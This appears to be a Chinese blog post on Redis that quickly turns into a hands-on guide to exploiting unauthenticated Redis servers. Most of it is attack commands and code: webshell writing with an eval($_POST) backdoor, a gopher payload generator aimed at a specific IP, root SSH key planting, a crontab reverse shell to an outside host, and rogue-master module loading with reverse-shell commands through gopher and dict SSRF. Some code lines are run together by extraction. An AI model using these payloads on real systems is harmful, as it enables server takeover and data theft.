Last updated on September 27, 2024 am
什么是Redis
Redis(Remote Dictionary Server)是一个开源的内存数据存储系统,它可以用作数据库、缓存和消息中间件。Redis是一个键值存储数据库,其中每个键都映射到一个值,这些值可以是字符串、哈希、列表、集合、有序集合等数据类型。默认运行端口6379
存储特性
1 2 3 4 5 1 .以内存作为数据存储介质,读写数据的效率极高。2 .储存在 Redis中的数据是持久化的,断电或重启,数据也不会丢失3 .存储分为内存存储、磁盘存储和log 文件。4 .可以从磁盘重新将数据加载到內存中,也可以通过配置文件对其进行配置,因此,redis才能实现持久化5 .支持主从模式,可以配置集群,更利于支撑大型的项目。
Kali安装Redis
1 2 3 4 5 6 7 8 9 10 11 12 wget http://download.redis.io/releases/redis-6 .0 .3 .tar.gztar -zxvf redis-6 .0 .3 .tar.gzcd redis-6 .0 .3 / make make testcd redis-6 .0 .3 /srccp redis-cli redis-server /usr/bin/cp redis.conf /etcredis -server #启动服务端redis -cli -h 127.0.0.1 -p 6379 #客户端连接config set slave-read-only no ps -aux | grep redis #查看redis启动状态
Redis常用命令
1 2 3 4 5 6 7 8 9 10 11 12 info CONFIG GET * flushall flushdb KEYS * set test "whoami" config set dir dirpath config get dir /dbfilename save get 变量 config set requirepass password auth password
https://www.cnblogs.com/kongzhongqijing/p/6867960.html
Redis未授权访问漏洞利用
有未授权漏洞
(1)配置登录策略导致任意机器都可以登录redis。
(2)未设置密码或者设置弱口令。
无未授权漏洞
(1)bind 127.0.0.1未注释,仅允许本地访问,攻击机kali无法连接。可尝试本地主从复制rce
(2)设置了密码,可以用超级弱口令爆破
Redis 默认情况下,会绑定在 127.0.0.1:6379,但是有时候开发人员为了方便访问,会将其绑定到0.0.0.0,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
redis写webshell
需要知道web服务的工作目录,需要有写权限
监听抓包
1 tcpdump -i lo -s 0 port 6379 -w redis.pcap
1 2 3 4 5 auth password config set dir 工作目录 config set dbfilename webshell.php set -.- " <?php phpinfo ();?> " #也可写入一句话木马 save
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import urllib.requestfrom urllib.parse import quote url = "http://122.114.254.128:28005" gopher = "gopher://127.0.0.1:6379/_" data = """ auth shell set test "\\n\\n<?php @eval($_POST[cmd])?>\\n\\n" config set dir /var/www/html/ config set dbfilename shell.php save quit """ def encoder_url (data ): encoder = "" for single_char in data: encoder += str (hex (ord (single_char))) encoder = encoder.replace("0x" ,"%" ).replace("%a" ,"%0d%0a" ) return encoder encoder = url+encoder_url(encoder_url(data))print (encoder)
追踪TCP流
复制出payload,url编码
1 2 3 4 5 payload = "2a310d0a24370d0a434f4d4d414e440d0a2a320d0a24340d0a617574680d0a24340d0a726f6f740d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a24330d0a6469720d0a2431340d0a2f7661722f7777772f68746d6c2f0d0a2a340d0a24360d0a636f6e6669670d0a24330d0a7365740d0a2431300d0a646266696c656e616d650d0a2431320d0a7765627368656c6c2e7068700d0a2a330d0a24330d0a7365740d0a24320d0a2d2d0d0a2432360d0a3c3f706870206576616c28245f504f53545b2761275d293b3f3e0d0a2a310d0a24340d0a736176650d0a" flag='gopher://127.0.0.1:6379/_' for i in range (0 , len (payload), 2 ): flag+= "%25" + payload[i:i + 2 ]
redis写ssh密钥
版本<redis-4.0.10,必须是linux,root开的redis,ssh端口有开
利用redis的备份功能,写入ssh公钥
ssh端口:22
1 2 3 4 5 6 7 8 9 10 11 12 13 /etc/init.d/ssh start 攻击 ssh-keygen (echo -e "\n\n" ;cat ssh.pub; echo -e "\n\n" ) > 1.txt cat 1.txt | redis-cli -h 192.168.224.129 -x set crack redis-cli -h 192.168.224.129 flushall config get dir config set dir /root/.ssh config set dbfilename authorized_keys config get dbfilename save ssh -i ssh root@192.168.224.129
通过写 crontab 的方式 getshell
通过设置定时任务反弹shell(仅限于centos)
对于Ubuntu需要定时任务的目录权限是600,而由Redis创建的文件权限为644,所以没办法反弹shell;
而centos对于644权限也能够反弹shell
1 2 3 4 5 redis- cli - h [Redis IP / 域名] - p 6379 #进入交互 config set dir / var / spool/ cron #设置写 crontabs 的文件夹路径 config set dbfilename root #修改备份文件名set shell "\n \n \n * * * * * bash -i >& /dev/tcp/198.xx.xx.xxx/9999 0>&1\n \n \n " # 写入「 反弹 shell」 的计划任务 save
公网服务器
Redis主从复制
攻击机Kali:192.168.224.128
受害机Ubuntu:192.168.224.129
利用 redis-rogue-server 工具
下载地址:https://github.com/n0b0dyCN/redis-rogue-server
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so 。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具无法数据Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具 。
1 python3 redis-rogue-server.py --rhost 192.168 .20.135 --lhost 192.168 .20.128 --exp exp .so
选择 i
来获得一个交互式的shell,执行在里面执行系统命令即可,也可以选择 r
来获得一个反弹shell。
利用redis-ssrf工具
这个对于Redis存在密码时也可用
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
将redis-rogue-server
中的exp.io
复制到redis-ssrf
修改redis-ssrf
中的ssrf-redis.py
将 lhost
改为攻击者vps的ip(47.xxx.xxx.72),用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。
将command修改为要执行的命令
将第140行的 “127.0.0.1” 改为 “0.0.0.0” ,用于绕过题目对于内网IP的限制。
最后在第160行填写上Redis的密码 “root”。
执行ssrf-redis脚本生成payload
同时运行python2 rogue-server.py
好像说要写个死循环,不然当目标机的Redis连接过来之后,一连上就自动断开连接,可能导致exp.so都没传完就中断了。
1 2 3 4 5 while [ "1" = "1" ] do python rogue-server.py done
因为是要ssrf在内网打所以借助gopher协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 gopher:// 0.0 .0.0 :6379 /_auth root config set dir /tmp/ quit gopher:// 0.0 .0.0 :6379 /_auth root config set dbfilename exp.so slaveof 120.77 .205.20 6666 quit gopher:// 0.0 .0.0 :6379 /_auth root module load /tmp/ exp.so system.rev 120.77 .205.20 8000 quit gopher:// 0.0 .0.0 :6379 /_auth root module load /tmp/ exp.so system.exec env quit 用赛博厨子对上面指令进行url编码
dict协议反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ssrf.php?url=dict:// 192.168 .172.131 :6379 /info ssrf.php?url=dict:// 192.168 .172.131 :6379 /config:set:dbfilename:exp.so ssrf.php?url=dict:// 192.168 .172.131 :6379 /slaveof:192.168 .172.129 :1234 ssrf.php?url=dict:// 192.168 .172.131 :6379 /module:load:./ exp.so ssrf.php?url=dict:// 192.168 .172.131 :6379 /slaveof:no:one ssrf.php?url=dict:// 192.168 .172.131 :6379 /system.rev:192.168 .172.129 :9999
比较yyds的参考文章1
比较yyds的参考文章2